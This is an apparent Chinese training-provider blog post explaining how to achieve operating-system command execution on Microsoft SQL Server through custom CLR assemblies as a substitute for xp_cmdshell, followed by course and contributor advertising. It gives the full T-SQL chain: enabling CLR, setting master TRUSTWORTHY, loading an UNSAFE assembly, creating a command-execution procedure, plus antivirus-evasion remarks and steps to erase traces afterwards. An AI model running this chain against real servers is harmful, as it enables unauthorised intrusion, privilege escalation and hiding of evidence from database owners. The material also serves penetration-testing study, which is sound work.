本文作者是i春秋线下就业班结业学员「YongYe」分享的技术文章,公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。
YongYe
YongYe:现在MSSQL数据库中使用最多的命令执行手段就是xp_cmdshell,但在环境出现问题,例如xp、sp无法使用时,就会让人感到无措。相比之下,CLR技术更加先进,操作面更广,可以更好地解决此类问题。
CLR提供了一种在SQL Server中运行托管代码的方法,这种代码可以用多种编程语言编写,如C#、VB.NET等。通过CLR,我们可以执行更多的任务,解决更多的问题,为数据库管理提供更多的便利。希望通过本文分享,你将学会程序集的生成方法,并DIY自己的程序集。
一、XP_CmdShell与CLR简单对比
对比方向 |
XP_CmdShell |
CLR |
命令实现 |
扩展存储过程 |
CLR存储过程或函数 |
参数解析 |
简单参数 |
支持复杂参数 |
返回数据 |
简单文本 |
复杂数据类型 |
性能 |
中等,约原生代码的50% |
接近原生代码,几乎无额外开销 |
线程使用 |
单线程,不支持多线程 |
支持多线程执行 |
资源控制 |
仅内存控制 |
内存及CPU资源可控 |
扩展语言 |
仅T-SQL |
支持各种CLR语言 |
总结 |
简单易用 |
操作面更广 |
二、CLR介绍
从SQL Server 2005开始,SQL Server集成了用于Microsoft Windows的.NET Framework的公共语言运行时(CLR)组件。CLR(Common Language Runtime):公共语言运行时是微软推出的.NET Framework的运行时执行环境,它提供了一系列功能来支持.NET程序的运行:
(1)内存管理:CLR自动进行内存分配、垃圾回收等内存管理工作。
(2)类型安全:CLR确保所有对象使用前都正确分配内存和初始化。
(3)错误处理:CLR可以捕捉管理代码运行时出现的系统级错误。
(4)代码访问安全性:CLR执行代码时会进行权限检查,确保代码只能访问它应该访问的资源。
(5)线程管理:CLR创建线程、进行同步和控制线程的执行。
(6)对齐编程语言:不同语言编译成中间语言IL后,由CLR执行,使它们能相互操作。
(7)代码部署:CLR负责把代码编译为本机代码,也进行反射提供运行时类型信息。
这些特点使得CLR非常的强大!利用方式也是非常的多。
三、环境条件
SQL版本:SQL Server 2008 R2_默认配置
测试系统:Win10
CLR编写:Visual Studio 2022
利用条件:sysadmin
四、创建自已的程序集
可以使用网上公开现成的程序集,也可以自已做一个程序集。
1、测试了一下还是Visual Studio方便点,只需要安装最下面数据库操作工具即可。安装完新建一个SQL Server数据库项目。
2、配置一下目标的SQL Sserver版本。
3、下拉配置一下框架版本,我本机测试直接看的控制面板。实战获取版本也比较方便,冰蝎、哥斯拉连上去都已经搜集好了。
Tips:版本不匹配容易出现问题,程序集无效等。
4、新建SQL CLR存储过程
5、这就是代码模板了,大家自由发挥。
6、编写完生成,程序集就做完了。程序集路径在下面:
进入程序集binRelease,这两个文件是有用的。
(1)Database1.dll文件可用于存在上传点的情况,可以直接上传。记得改名字,不然就上传一个shell.asp。(不推荐该方式:文件直接落地+需要上传点)
(2)Database1_Create.sql文件找到”CREATE ASSEMBLY”这行,这就是我们生成的十六进制程序集。
五、利用流程
SELECT * FROM sys.configurations WHERE name ='clr enabled'
2、通过sp_configure开启CLR功能。
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
3、如果提示导入不安全程序集/权限等相关问题,尝试以下命令。允许master数据库中的所有CLR程序集不受限制地执行,忽略普通的权限检查。master默认为ON,其它数据库默认OFF。
ALTER DATABASE [master] SET TRUSTWORTHY ON;
执行以下命令可查询是否设置成功。
SELECT is_trustworthy_on FROM sys.databases WHERE name='master'
4、导入我们的程序集,这里有两种方式可以导入,就是之前生成的两个文件:通过16进制导入和通过dll文件导入。
方式1:通过16进制的CLR导入
直接从Database1_Create.sql中复制粘贴即可。
方式2:通过程序集.dll文件导入
通过其它漏洞上传dll文件,执行以下命令导入指定位置的dll。
CREATE ASSEMBLY sp_cmdExec FROM ' C:UsersadminsourcereposDatabase1Database1binReleaseDatabase1.dll' WITH PERMISSION_SET = UNSAFE
Tips:
(1)方式2中因为dll直接落地,文件会直接被杀软拦截。使用Visual Studio生成程序集都会被直接拦截了。
(2) 方式2中sp_cmdExec为程序集名称,这里不改后面也不要改,不然就会报错。
5、创建存储过程
方式1导入,这样执行。红色部分根据实际程序集内容更改,不然会报错。
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
方式2导入,这样执行。否则会报错找不到xxxxxxx。
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME sp_cmdExec.StoredProcedures.ExecCommand;
这是我的程序集,可以参考一下。
Tips:WarSQLKit为程序集的名称。
6、命令执行
EXEC sp_cmdExec 'whoami';
7、简单痕迹清理
查询创建的程序集:SELECT * FROM sys.assemblies
删除程序集:DROP PROCEDURE sp_cmdExec;DROP ASSEMBLY [WarSQLKit];
关闭CLR
EXEC sp_configure 'clr enabled', 0
RECONFIGURE WITH OVERRIDE
六、总结
整个流程,不上传dll文件。我的某rong很安静。利用的话网上有很多自动化工具,工具虽然被杀。但是不影响操作,正常肯定代理出来远程连接即可。使用工具自动提权(我的某rong反正是很安静),即使存在杀软拦截也有其它办法。因为CLR程序集可以编程,所以你可以做很多事情包括不限于自动化工具已经实现的功能。
工具推荐:WarSQLKit(功能强大/兼容性存在问题)、SharpSQLTools(简单易用)
成为签约作家,您将获得以下丰厚福利:
01
高额稿费回报:您的每一篇作品都将得到公平合理的稿费报酬,让您的辛勤创作得到实质性的回报。
02
i春秋签约作家聘书:这不仅是一份荣誉,更是对您实力的高度认可,让您在同行中脱颖而出,为您的职业生涯添上一抹重彩。
03
专属定制好礼:我们会依据排行榜的排名,提供i春秋专属定制好礼,让您感受到我们的诚意和尊重。
04
行业峰会入门券:您将有机会亲临行业盛会,与安全领域的专家和行业领袖面对面交流,深入探讨学术前沿技术,接触到最新的行业动态和技术趋势。
05
拓宽人脉:i春秋将为您提供一个分享和交流学术研究成果的平台,让您与同行们共同探讨行业新技术,结识更多技术大牛。
「春秋豪杰排行榜」投稿方式:
1、在i春秋论坛(bbs.ichunqiu.com)发布原创技术文章,文章链接通过微信(VX: h0XT0nh0u)发给工作人员,并备注:投稿。
2、无论文章是否通过审核,3个工作日内都会得到工作人员的告知。若未完成专业爱好者认证,可先联系工作人员进行认证。
(认证过程遇到问题,请联系客服)
「YongYe」师傅是成都基地线下就业班10期结业学员,该班结业率达到99%,结业学员通过考试获得国家CISAW-Web安全认证证书人员达到100%。i春秋为每一位顺利结业的学员推荐合适的就业机会,通过推荐就业到360、知道创宇、天融信、启明星辰、58、滴滴、公安部、金源动力等企业,就业率达到93%。
如果你也对渗透测试感兴趣,想在网络安全行业立足,毕业就能拿到过万的薪资,欢迎了解渗透测试工程师线下就业班,现在报名还能享受暑期优惠福利,点击下方图片可查看具体活动详情>>
原文始发于微信公众号(i春秋):XP_CmdShell平替CLR的基础利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论